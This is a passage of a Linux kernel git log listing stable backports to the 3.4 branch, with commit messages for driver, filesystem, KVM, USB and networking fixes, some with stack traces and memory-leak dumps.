    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit dacca44eee45361fe42111a803a0aafb782bd960
Author: Benjamin Tissoires <benjamin.tissoires@redhat.com>
Date:   Thu Apr 23 09:08:43 2015 -0700

    Input: elantech - fix semi-mt protocol for v3 HW
    
    commit 3c0213d17a09601e0c6c0ae0e27caf70d988290f upstream.
    
    When the v3 hardware sees more than one finger, it uses the semi-mt
    protocol to report the touches. However, it currently works when
    num_fingers is 0, 1 or 2, but when it is 3 and above, it sends only 1
    finger as if num_fingers was 1.
    
    This confuses userspace which knows how to deal with extra fingers
    when all the slots are used, but not when some are missing.
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=90101
    
    Signed-off-by: Benjamin Tissoires <benjamin.tissoires@redhat.com>
    Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit a9fee8d4c45fa8b19f53bbe5f11249a9eac5f7d9
Author: Zidan Wang <zidan.wang@freescale.com>
Date:   Tue May 12 14:58:50 2015 +0800

    ASoC: wm8994: correct BCLK DIV 348 to 384
    
    commit 17fc2e0a3db11889e942c5ab15a1fcb876638f25 upstream.
    
    According to the RM of wm8958, BCLK DIV 348 doesn't exist, correct it
    to 384.
    
    Signed-off-by: Zidan Wang <zidan.wang@freescale.com>
    Acked-by: Charles Keepax <ckeepax@opensource.wolfsonmicro.com>
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 85a5c134cf0009df213b147fa3d9992da99d8b4a
Author: Zidan Wang <zidan.wang@freescale.com>
Date:   Tue May 12 14:58:36 2015 +0800

    ASoC: wm8960: fix "RINPUT3" audio route error
    
    commit 85e36a1f4a735d991ba5106781ea48e89a0b8901 upstream.
    
    It should be "RINPUT3" instead of "LINPUT3" route to "Right Input
    Mixer".
    
    Signed-off-by: Zidan Wang <zidan.wang@freescale.com>
    Acked-by: Charles Keepax <ckeepax@opensource.wolfsonmicro.com>
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 6713867cc85dac704ab8a39065e20997f636b7bd
Author: Paolo Bonzini <pbonzini@redhat.com>
Date:   Thu Apr 2 11:04:05 2015 +0200

    KVM: MMU: fix CR4.SMEP=1, CR0.WP=0 with shadow pages
    
    commit 898761158be7682082955e3efa4ad24725305fc7 upstream.
    
    smep_andnot_wp is initialized in kvm_init_shadow_mmu and shadow pages
    should not be reused for different values of it.  Thus, it has to be
    added to the mask in kvm_mmu_pte_write.
    
    Reviewed-by: Xiao Guangrong <guangrong.xiao@linux.intel.com>
    Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 8450ced97215312b4dbe18d0fdcf8426ff8b3b2d
Author: Janusz Dziedzic <janusz.dziedzic@tieto.com>
Date:   Mon May 11 11:31:15 2015 +0200

    mac80211: move WEP tailroom size check
    
    commit 47b4e1fc4972cc43a19121bc2608a60aef3bf216 upstream.
    
    Remove checking tailroom when adding IV as it uses only
    headroom, and move the check to the ICV generation that
    actually needs the tailroom.
    
    In other case I hit such warning and datapath don't work,
    when testing:
    - IBSS + WEP
    - ath9k with hw crypt enabled
    - IPv6 data (ping6)
    
    WARNING: CPU: 3 PID: 13301 at net/mac80211/wep.c:102 ieee80211_wep_add_iv+0x129/0x190 [mac80211]()
    [...]
    Call Trace:
    [<ffffffff817bf491>] dump_stack+0x45/0x57
    [<ffffffff8107746a>] warn_slowpath_common+0x8a/0xc0
    [<ffffffff8107755a>] warn_slowpath_null+0x1a/0x20
    [<ffffffffc09ae109>] ieee80211_wep_add_iv+0x129/0x190 [mac80211]
    [<ffffffffc09ae7ab>] ieee80211_crypto_wep_encrypt+0x6b/0xd0 [mac80211]
    [<ffffffffc09d3fb1>] invoke_tx_handlers+0xc51/0xf30 [mac80211]
    [...]
    
    Signed-off-by: Janusz Dziedzic <janusz.dziedzic@tieto.com>
    Signed-off-by: Johannes Berg <johannes.berg@intel.com>
    [lizf: Backported to 3.4: s/IEEE80211_WEP/_WEP/g]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 6c25c7671c3f8bffec2ce9d88cf5673efa4fe2d3
Author: Tommi Rantala <tt.rantala@gmail.com>
Date:   Thu May 7 15:12:21 2015 +0300

    ipvs: fix memory leak in ip_vs_ctl.c
    
    commit f30bf2a5cac6c60ab366c4bc6db913597bf4d6ab upstream.
    
    Fix memory leak introduced in commit a0840e2e165a ("IPVS: netns,
    ip_vs_ctl local vars moved to ipvs struct."):
    
    unreferenced object 0xffff88005785b800 (size 2048):
      comm "(-localed)", pid 1434, jiffies 4294755650 (age 1421.089s)
      hex dump (first 32 bytes):
        bb 89 0b 83 ff ff ff ff b0 78 f0 4e 00 88 ff ff  .........x.N....
        04 00 00 00 a4 01 00 00 00 00 00 00 00 00 00 00  ................
      backtrace:
        [<ffffffff8262ea8e>] kmemleak_alloc+0x4e/0xb0
        [<ffffffff811fba74>] __kmalloc_track_caller+0x244/0x430
        [<ffffffff811b88a0>] kmemdup+0x20/0x50
        [<ffffffff823276b7>] ip_vs_control_net_init+0x1f7/0x510
        [<ffffffff8231d630>] __ip_vs_init+0x100/0x250
        [<ffffffff822363a1>] ops_init+0x41/0x190
        [<ffffffff82236583>] setup_net+0x93/0x150
        [<ffffffff82236cc2>] copy_net_ns+0x82/0x140
        [<ffffffff810ab13d>] create_new_namespaces+0xfd/0x190
        [<ffffffff810ab49a>] unshare_nsproxy_namespaces+0x5a/0xc0
        [<ffffffff810833e3>] SyS_unshare+0x173/0x310
        [<ffffffff8265cbd7>] system_call_fastpath+0x12/0x6f
        [<ffffffffffffffff>] 0xffffffffffffffff
    
    Fixes: a0840e2e165a ("IPVS: netns, ip_vs_ctl local vars moved to ipvs struct.")
    Signed-off-by: Tommi Rantala <tt.rantala@gmail.com>
    Acked-by: Julian Anastasov <ja@ssi.bg>
    Signed-off-by: Simon Horman <horms@verge.net.au>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit fc83d2a48ec24c7836bcef1e67af16a84dc3f570
Author: Eryu Guan <guaneryu@gmail.com>
Date:   Thu May 14 19:00:45 2015 -0400

    ext4: check for zero length extent explicitly
    
    commit 2f974865ffdfe7b9f46a9940836c8b167342563d upstream.
    
    The following commit introduced a bug when checking for zero length extent
    
    5946d08 ext4: check for overlapping extents in ext4_valid_extent_entries()
    
    Zero length extent could pass the check if lblock is zero.
    
    Adding the explicit check for zero length back.
    
    Signed-off-by: Eryu Guan <guaneryu@gmail.com>
    Signed-off-by: Theodore Ts'o <tytso@mit.edu>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit e92c54259e8d8bae9a3e1a4ce840ff0246cb8b3f
Author: Christian König <christian.koenig@amd.com>
Date:   Tue May 12 14:56:17 2015 +0200

    drm/radeon: fix VM_CONTEXT*_PAGE_TABLE_END_ADDR handling
    
    commit 607d48063512707a414e346972e2210dc71ab491 upstream.
    
    The mapping range is inclusive between starting and ending addresses.
    
    Signed-off-by: Christian König <christian.koenig@amd.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    [lizf: Backported to 3.4:
     - adjust context
     - drop the change to clk.c
     - drop the second change in cayman_pcie_gart_enable()]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 48b33c5b1759561efb72db8ba729a5c2656e5a1d
Author: Nicolas Schichan <nschichan@freebox.fr>
Date:   Thu May 7 17:14:21 2015 +0200

    ARM: net: delegate filter to kernel interpreter when imm_offset() return value can't fit into 12bits.
    
    commit 0b59d8806a31bb0267b3a461e8fef20c727bdbf6 upstream.
    
    The ARM JIT code emits "ldr rX, [pc, #offset]" to access the literal
    pool. #offset maximum value is 4095 and if the generated code is too
    large, the #offset value can overflow and not point to the expected
    slot in the literal pool. Additionally, when overflow occurs, bits of
    the overflow can end up changing the destination register of the ldr
    instruction.
    
    Fix that by detecting the overflow in imm_offset() and setting a flag
    that is checked for each BPF instructions converted in
    build_body(). As of now it can only be detected in the second pass. As
    a result the second build_body() call can now fail, so add the
    corresponding cleanup code in that case.
    
    Using multiple literal pools in the JITed code is going to require
    lots of intrusive changes to the JIT code (which would better be done
    as a feature instead of fix), just delegating to the kernel BPF
    interpreter in that case is a more straight forward, minimal fix and
    easy to backport.
    
    Fixes: ddecdfcea0ae ("ARM: 7259/3: net: JIT compiler for packet filters")
    Signed-off-by: Nicolas Schichan <nschichan@freebox.fr>
    Acked-by: Daniel Borkmann <daniel@iogearbox.net>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit f5d35596f9a9e21217436a7892d3ed0366cf0997
Author: Dan Williams <dan.j.williams@intel.com>
Date:   Fri May 8 15:23:55 2015 -0400

    ahci: avoton port-disable reset-quirk
    
    commit dbfe8ef5599a5370abc441fcdbb382b656563eb4 upstream.
    
    Avoton AHCI occasionally sees drive probe timeouts at driver load time.
    When this happens SCR_STATUS indicates device detected, but no D2H FIS
    reception.  Reset the internal link state machines by bouncing
    port-enable in the PCS register when this occurs.
    
    Signed-off-by: Dan Williams <dan.j.williams@intel.com>
    Signed-off-by: Tejun Heo <tj@kernel.org>
    [lizf: Backported to 3.4:
     - adjust context
     - use ahci_start_engine() instead of hpriv->start_engine()]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 467d87ef7baf75e36686238de6fbb083d758b736
Author: Rob Herring <rob.herring@calxeda.com>
Date:   Fri Aug 17 09:51:50 2012 -0500

    ahci: un-staticize ahci_dev_classify
    
    commit bbb4ab43f82adf02c8b4d0d7e7b7e79d24204b05 upstream.
    
    Make ahci_dev_classify available to the ahci platform driver for custom
    hard reset function.
    
    Signed-off-by: Rob Herring <rob.herring@calxeda.com>
    Signed-off-by: Jeff Garzik <jgarzik@redhat.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 2868a88cb4da65598ed5faf29dcbba19f5cd1b4a
Author: Hans de Goede <hdegoede@redhat.com>
Date:   Thu Apr 30 11:09:44 2015 +0200

    usb-storage: Add NO_WP_DETECT quirk for Lacie 059f:0651 devices
    
    commit 172115090f5e739660b97694618a2ba86457063a upstream.
    
    Without this flag some versions of these enclosures do not work.
    
    Reported-and-tested-by: Christian Schaller <cschalle@redhat.com>
    Signed-off-by: Hans de Goede <hdegoede@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 6da66b35031ddefbfa29afc7fb96480ddf58e4b3
Author: Joe Lawrence <joe.lawrence@stratus.com>
Date:   Thu Apr 30 17:16:04 2015 +0300

    xhci: gracefully handle xhci_irq dead device
    
    commit 948fa13504f80b9765d2b753691ab94c83a10341 upstream.
    
    If the xHCI host controller has died (ie, device removed) or suffered
    other serious fatal error (STS_FATAL), then xhci_irq should handle this
    condition with IRQ_HANDLED instead of -ESHUTDOWN.
    
    Signed-off-by: Joe Lawrence <joe.lawrence@stratus.com>
    Signed-off-by: Mathias Nyman <mathias.nyman@linux.intel.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 0a15af08f1f64256fe52d4666f3e200477dbb5ce
Author: Mathias Nyman <mathias.nyman@linux.intel.com>
Date:   Thu Apr 30 17:16:03 2015 +0300

    xhci: Solve full event ring by increasing TRBS_PER_SEGMENT to 256
    
    commit 18cc2f4cbbaf825a4fedcf2d60fd388d291e0a38 upstream.
    
    Our event ring consists of only one segment, and we risk filling
    the event ring in case we get isoc transfers with short intervals
    such as webcams that fill a TD every microframe (125us)
    
    With 64 TRB segment size one usb camera could fill the event ring in 8ms.
    A setup with several cameras and other devices can fill up the
    event ring as it is shared between all devices.
    This has occurred when uvcvideo queues 5 * 32TD URBs which then
    get cancelled when the video mode changes. The cancelled URBs are returned
    in the xhci interrupt context and blocks the interrupt handler from
    handling the new events.
    
    A full event ring will block xhci from scheduling traffic and affect all
    devices conneted to the xhci, will see errors such as Missed Service
    Intervals for isoc devices, and  and Split transaction errors for LS/FS
    interrupt devices.
    
    Increasing the TRB_PER_SEGMENT will also increase the default endpoint ring
    size, which is welcome as for most isoc transfer we had to dynamically
    expand the endpoint ring anyway to be able to queue the 5 * 32TDs uvcvideo
    queues.
    
    The default size used to be 64 TRBs per segment
    
    Signed-off-by: Mathias Nyman <mathias.nyman@linux.intel.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 3451d0f5d57416ab5417964eee9f9df6e6b83629
Author: Mathias Nyman <mathias.nyman@linux.intel.com>
Date:   Thu Apr 30 17:16:02 2015 +0300

    xhci: fix isoc endpoint dequeue from advancing too far on transaction error
    
    commit d104d0152a97fade389f47635b73a9ccc7295d0b upstream.
    
    Isoc TDs usually consist of one TRB, sometimes two. When all goes well we
    receive only one success event for a TD, and move the dequeue pointer to
    the next TD.
    
    This fails if the TD consists of two TRBs and we get a transfer error
    on the first TRB, we will then see two events for that TD.
    
    Fix this by making sure the event we get is for the last TRB in that TD
    before moving the dequeue pointer to the next TD. This will resolve some
    of the uvc and dvb issues with the
    "ERROR Transfer event TRB DMA ptr not part of current TD" error message
    
    Signed-off-by: Mathias Nyman <mathias.nyman@linux.intel.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit ece8cda08af85d72b151b2071df2d92a16b291b1
Author: NeilBrown <neilb@suse.de>
Date:   Fri May 8 18:19:34 2015 +1000

    md/raid5: don't record new size if resize_stripes fails.
    
    commit 6e9eac2dcee5e19f125967dd2be3e36558c42fff upstream.
    
    If any memory allocation in resize_stripes fails we will return
    -ENOMEM, but in some cases we update conf->pool_size anyway.
    
    This means that if we try again, the allocations will be assumed
    to be larger than they are, and badness results.
    
    So only update pool_size if there is no error.
    
    This bug was introduced in 2.6.17 and the patch is suitable for
    -stable.
    
    Fixes: ad01c9e3752f ("[PATCH] md: Allow stripes to be expanded in preparation for expanding an array")
    Signed-off-by: NeilBrown <neilb@suse.de>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 80fc8f6abe0a8fd267d7bd8d1eb873d4ce889293
Author: Christoph Hellwig <hch@lst.de>
Date:   Tue Apr 28 15:41:15 2015 +0200

    nfsd: fix the check for confirmed openowner in nfs4_preprocess_stateid_op
    
    commit ebe9cb3bb13e7b9b281969cd279ce70834f7500f upstream.
    
    If we find a non-confirmed openowner we jump to exit the function, but do
    not set an error value.  Fix this by factoring out a helper to do the
    check and properly set the error from nfsd4_validate_stateid.
    
    Signed-off-by: Christoph Hellwig <hch@lst.de>
    Signed-off-by: J. Bruce Fields <bfields@redhat.com>
    [lizf: adjust the changes for nfsd4_validate_stateid()]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 9f0a120b3b1e639db798896039b2e5055c014ff5
Author: Jason A. Donenfeld <Jason@zx2c4.com>
Date:   Wed Apr 22 14:35:09 2015 +0200

    USB: visor: Match I330 phone more precisely
    
    commit 82ee3aeb9295c5fc37fd2ddf20f13ac2b40ec97d upstream.
    
    Samsung has just released a portable USB3 SSD, coming in a very small
    and nice form factor. It's USB ID is 04e8:8001, which unfortunately is
    already used by the Palm Visor driver for the Samsung I330 phone cradle.
    Having pl2303 or visor pick up this device ID results in conflicts with
    the usb-storage driver, which handles the newly released portable USB3
    SSD.
    
    To work around this conflict, I've dug up a mailing list post [1] from a
    long time ago, in which a user posts the full USB descriptor
    information. The most specific value in this appears to be the interface
    class, which has value 255 (0xff). Since usb-storage requires an
    interface class of 0x8, I believe it's correct to disambiguate the two
    devices by matching on 0xff inside visor.
    
    [1] http://permalink.gmane.org/gmane.linux.usb.user/4264
    
    Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
    Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 6fc228600fa16a9666ac502eaa79137975feb105
Author: Jason A. Donenfeld <Jason@zx2c4.com>
Date:   Wed Apr 22 14:35:08 2015 +0200

    USB: pl2303: Remove support for Samsung I330
    
    commit 48ef23a4f686b1e4519d4193c20d26834ff810ff upstream.
    
    This phone is already supported by the visor driver.
    
    Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
    Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
    Signed-off-by: Johan Hovold <johan@kernel.org>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 1378ad23caeb724808ea3aaa13c7b3c1aa36c238
Author: Mark Edwards <sonofaforester@gmail.com>
Date:   Tue Apr 14 08:52:34 2015 -0400

    USB: cp210x: add ID for KCF Technologies PRN device
    
    commit c735ed74d83f8ecb45c4c4c95a16853c9c3c8157 upstream.
    
    Added the USB serial console device ID for KCF Technologies PRN device
    which has a USB port for its serial console.
    
    Signed-off-by: Mark Edwards <sonofaforester@gmail.com>
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit b7e7b11a149e6b3a0c12ab3f9699c014d509b615
Author: Larry Finger <Larry.Finger@lwfinger.net>
Date:   Fri Apr 24 11:03:37 2015 -0500

    rtlwifi: rtl8192cu: Fix kernel deadlock
    
    commit 414b7e3b9ce8b0577f613e656fdbc36b34b444dd upstream.
    
    The USB mini-driver in rtlwifi, which is used by rtl8192cu, issues a call to
    usb_control_msg() with a timeout value of 0. In some instances where the
    interface is shutting down, this infinite wait results in a CPU deadlock. A
    one second timeout fixes this problem without affecting any normal operations.
    
    This bug is reported at https://bugzilla.novell.com/show_bug.cgi?id=927786.
    
    Reported-by: Bernhard Wiedemann <bwiedemann@suse.com>
    Tested-by: Bernhard Wiedemann <bwiedemann@suse.com>
    Signed-off-by: Larry Finger <Larry.Finger@lwfinger.net>
    Cc: Bernhard Wiedemann <bwiedemann@suse.com>
    Cc: Takashi Iwai<tiwai@suse.com>
    Signed-off-by: Kalle Valo <kvalo@codeaurora.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 017fd99beb3ccdb301009fa8f905f574e3e3ce29
Author: Gabriele Mazzotta <gabriele.mzt@gmail.com>
Date:   Sat Apr 25 19:52:37 2015 +0200

    libata: Ignore spurious PHY event on LPM policy change
    
    commit 09c5b4803a80a5451d950d6a539d2eb311dc0fb1 upstream.
    
    When the LPM policy is set to ATA_LPM_MAX_POWER, the device might
    generate a spurious PHY event that cuases errors on the link.
    Ignore this event if it occured within 10s after the policy change.
    
    The timeout was chosen observing that on a Dell XPS13 9333 these
    spurious events can occur up to roughly 6s after the policy change.
    
    Link: http://lkml.kernel.org/g/3352987.ugV1Ipy7Z5@xps13
    Signed-off-by: Gabriele Mazzotta <gabriele.mzt@gmail.com>
    Signed-off-by: Tejun Heo <tj@kernel.org>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit ba4e97b49e74a7b1c6283e3d4d6dbe0c72b991af
Author: Gabriele Mazzotta <gabriele.mzt@gmail.com>
Date:   Sat Apr 25 19:52:36 2015 +0200

    libata: Add helper to determine when PHY events should be ignored
    
    commit 8393b811f38acdf7fd8da2028708edad3e68ce1f upstream.
    
    This is a preparation commit that will allow to add other criteria
    according to which PHY events should be dropped.
    
    Signed-off-by: Gabriele Mazzotta <gabriele.mzt@gmail.com>
    Signed-off-by: Tejun Heo <tj@kernel.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit d939e53d62fd55fd83d243c3831ac44cd36a743d
Author: Junxiao Bi <junxiao.bi@oracle.com>
Date:   Tue May 5 16:24:02 2015 -0700

    ocfs2: dlm: fix race between purge and get lock resource
    
    commit b1432a2a35565f538586774a03bf277c27fc267d upstream.
    
    There is a race window in dlm_get_lock_resource(), which may return a
    lock resource which has been purged.  This will cause the process to
    hang forever in dlmlock() as the ast msg can't be handled due to its
    lock resource not existing.
    
        dlm_get_lock_resource {
            ...
            spin_lock(&dlm->spinlock);
            tmpres = __dlm_lookup_lockres_full(dlm, lockid, namelen, hash);
            if (tmpres) {
                 spin_unlock(&dlm->spinlock);
                 >>>>>>>> race window, dlm_run_purge_list() may run and purge
                                  the lock resource
                 spin_lock(&tmpres->spinlock);
                 ...
                 spin_unlock(&tmpres->spinlock);
            }
        }
    
    Signed-off-by: Junxiao Bi <junxiao.bi@oracle.com>
    Cc: Joseph Qi <joseph.qi@huawei.com>
    Cc: Mark Fasheh <mfasheh@suse.com>
    Cc: Joel Becker <jlbec@evilplan.org>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit a885169f03f6b84653b8418d2739397f0286d360
Author: Ryusuke Konishi <konishi.ryusuke@lab.ntt.co.jp>
Date:   Tue May 5 16:24:00 2015 -0700

    nilfs2: fix sanity check of btree level in nilfs_btree_root_broken()
    
    commit d8fd150fe3935e1692bf57c66691e17409ebb9c1 upstream.
    
    The range check for b-tree level parameter in nilfs_btree_root_broken()
    is wrong; it accepts the case of "level == NILFS_BTREE_LEVEL_MAX" even
    though the level is limited to values in the range of 0 to
    (NILFS_BTREE_LEVEL_MAX - 1).
    
    Since the level parameter is read from storage device and used to index
    nilfs_btree_path array whose element count is NILFS_BTREE_LEVEL_MAX, it
    can cause memory overrun during btree operations if the boundary value
    is set to the level parameter on device.
    
    This fixes the broken sanity check and adds a comment to clarify that
    the upper bound NILFS_BTREE_LEVEL_MAX is exclusive.
    
    Signed-off-by: Ryusuke Konishi <konishi.ryusuke@lab.ntt.co.jp>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 350b59e331e49c018e55f9b4ab7a9638f3ca2707
Author: Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>
Date:   Tue May 5 16:23:35 2015 -0700

    mm/memory-failure: call shake_page() when error hits thp tail page
    
    commit 09789e5de18e4e442870b2d700831f5cb802eb05 upstream.
    
    Currently memory_failure() calls shake_page() to sweep pages out from
    pcplists only when the victim page is 4kB LRU page or thp head page.
    But we should do this for a thp tail page too.
    
    Consider that a memory error hits a thp tail page whose head page is on
    a pcplist when memory_failure() runs.  Then, the current kernel skips
    shake_pages() part, so hwpoison_user_mappings() returns without calling
    split_huge_page() nor try_to_unmap() because PageLRU of the thp head is
    still cleared due to the skip of shake_page().
    
    As a result, me_huge_page() runs for the thp, which is broken behavior.
    
    One effect is a leak of the thp.  And another is to fail to isolate the
    memory error, so later access to the error address causes another MCE,
    which kills the processes which used the thp.
    
    This patch fixes this problem by calling shake_page() for thp tail case.
    
    Fixes: 385de35722c9 ("thp: allow a hwpoisoned head page to be put back to LRU")
    Signed-off-by: Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>
    Reviewed-by: Andi Kleen <ak@linux.intel.com>
    Acked-by: Dean Nelson <dnelson@redhat.com>
    Cc: Andrea Arcangeli <aarcange@redhat.com>
    Cc: Hidetoshi Seto <seto.hidetoshi@jp.fujitsu.com>
    Cc: Jin Dongming <jin.dongming@np.css.fujitsu.com>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 95f92efede0bece7fa9eaaf4329e5445eb927739
Author: Boris Ostrovsky <boris.ostrovsky@oracle.com>
Date:   Wed Apr 29 17:10:15 2015 -0400

    xen/events: Set irq_info->evtchn before binding the channel to CPU in __startup_pirq()
    
    commit 16e6bd5970c88a2ac018b84a5f1dd5c2ff1fdf2c upstream.
    
    .. because bind_evtchn_to_cpu(evtchn, cpu) will map evtchn to
    'info' and pass 'info' down to xen_evtchn_port_bind_to_cpu().
    
    Signed-off-by: Boris Ostrovsky <boris.ostrovsky@oracle.com>
    Tested-by: Annie Li <annie.li@oracle.com>
    Signed-off-by: David Vrabel <david.vrabel@citrix.com>
    [lizf: Backported to 3.4: adjust filename and context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit da91140159233782ddd65c4b88a3fe2c9243d36f
Author: Boris Ostrovsky <boris.ostrovsky@oracle.com>
Date:   Wed Apr 29 17:10:14 2015 -0400

    xen/console: Update console event channel on resume
    
    commit b9d934f27c91b878c4b2e64299d6e419a4022f8d upstream.
    
    After a resume the hypervisor/tools may change console event
    channel number. We should re-query it.
    
    Signed-off-by: Boris Ostrovsky <boris.ostrovsky@oracle.com>
    Signed-off-by: David Vrabel <david.vrabel@citrix.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit bbb55274896b65b70a30b56243e99ce1a12ca6e8
Author: Jason Gunthorpe <jgunthorpe@obsidianresearch.com>
Date:   Mon Apr 20 14:01:11 2015 -0600

    RDMA/CMA: Canonize IPv4 on IPV6 sockets properly
    
    commit 285214409a9e5fceba2215461b4682b6069d8e77 upstream.
    
    When accepting a new IPv4 connect to an IPv6 socket, the CMA tries to
    canonize the address family to IPv4, but does not properly process
    the listening sockaddr to get the listening port, and does not properly
    set the address family of the canonized sockaddr.
    
    Fixes: e51060f08a61 ("IB: IP address based RDMA connection manager")
    
    Reported-By: Yotam Kenneth <yotamke@mellanox.com>
    Signed-off-by: Jason Gunthorpe <jgunthorpe@obsidianresearch.com>
    Tested-by: Haggai Eran <haggaie@mellanox.com>
    Signed-off-by: Doug Ledford <dledford@redhat.com>
    [lizf: Backported to 3.4:
     - there's no cma_save_ip4_info() and cma_save_ip6_info(), and instead
       we apply the changes to cma_save_net_info()]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit df48a548aef381a3fe0cffcdcd3f6566a94df8ce
Author: Grygorii Strashko <Grygorii.Strashko@linaro.org>
Date:   Thu Apr 23 13:43:43 2015 +0300

    mmc: core: add missing pm event in mmc_pm_notify to fix hib restore
    
    commit 184af16b09360d6273fd6160e6ff7f8e2482ef23 upstream.
    
    The PM_RESTORE_PREPARE is not handled now in mmc_pm_notify(),
    as result mmc_rescan() could be scheduled and executed at
    late hibernation restore stages when MMC device is suspended
    already - which, in turn, will lead to system crash on TI dra7-evm board:
    
    WARNING: CPU: 0 PID: 3188 at drivers/bus/omap_l3_noc.c:148 l3_interrupt_handler+0x258/0x374()
    44000000.ocp:L3 Custom Error: MASTER MPU TARGET L4_PER1_P3 (Idle): Data Access in User mode during Functional access
    
    Hence, add missed PM_RESTORE_PREPARE PM event in mmc_pm_notify().
    
    Fixes: 4c2ef25fe0b8 (mmc: fix all hangs related to mmc/sd card...)
    Signed-off-by: Grygorii Strashko <Grygorii.Strashko@linaro.org>
    Signed-off-by: Ulf Hansson <ulf.hansson@linaro.org>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 5a16f737a02021d4d766246dc064814e573c505e
Author: Robert Jarzmik <robert.jarzmik@free.fr>
Date:   Sun Dec 14 23:04:14 2014 +0100

    ARM: pxa: lubbock: use new pxa_cplds driver
    
    commit fc9e38c0f4d38bfc68b405cf48365d65f7b6319e upstream.
    
    As the interrupt handling was transferred to the pxa_cplds driver,
    make the switch in lubbock platform code.
    
    Fixes: 157d2644cb0c ("ARM: pxa: change gpio to platform device")
    Signed-off-by: Robert Jarzmik <robert.jarzmik@free.fr>
    Acked-by: Arnd Bergmann <arnd@arndb.de>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 7d5e668869d2d28a813d68856b7a0d88473d81e9
Author: Robert Jarzmik <robert.jarzmik@free.fr>
Date:   Fri Apr 24 23:22:35 2015 +0200

    ARM: pxa: mainstone: use new pxa_cplds driver
    
    commit 277688639f98a9e34a6f109f9cd6129f92e718c1 upstream.
    
    As the interrupt handling was transferred to the pxa_cplds driver,
    make the switch in mainstone platform code.
    
    Fixes: 157d2644cb0c ("ARM: pxa: change gpio to platform device")
    Signed-off-by: Robert Jarzmik <robert.jarzmik@free.fr>
    Acked-by: Arnd Bergmann <arnd@arndb.de>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit f692253899dd6a4633b32d700dbe4beec87f441f
Author: Robert Jarzmik <robert.jarzmik@free.fr>
Date:   Fri Apr 24 22:22:19 2015 +0200

    ARM: pxa: pxa_cplds: add lubbock and mainstone IO
    
    commit aa8d6b73ea33c2167c543663ab66039ec94d58f1 upstream.
    
    Historically, this support was in arch/arm/mach-pxa/lubbock.c and
    arch/arm/mach-pxa/mainstone.c. When gpio-pxa was moved to drivers/pxa,
    it became a driver, and its initialization and probing happened at
    postcore initcall. The lubbock code used to install the chained lubbock
    interrupt handler at init_irq() time.
    
    The consequence of the gpio-pxa change is that the installed chained irq
    handler lubbock_irq_handler() was overwritten in pxa_gpio_probe(_dt)(),
    removing :
     - the handler
     - the falling edge detection setting of GPIO0, which revealed the
       interrupt request from the lubbock IO board.
    
    As a fix, move the gpio0 chained handler setup to a place where we have
    the guarantee that pxa_gpio_probe() was called before, so that lubbock
    handler becomes the true IRQ chained handler of GPIO0, demuxing the
    lubbock IO board interrupts.
    
    This patch moves all that handling to a mfd driver. It's only purpose
    for the time being is the interrupt handling, but in the future it
    should encompass all the motherboard CPLDs handling :
     - leds
     - switches
     - hexleds
    
    The same logic applies to mainstone board.
    
    Fixes: 157d2644cb0c ("ARM: pxa: change gpio to platform device")
    Signed-off-by: Robert Jarzmik <robert.jarzmik@free.fr>
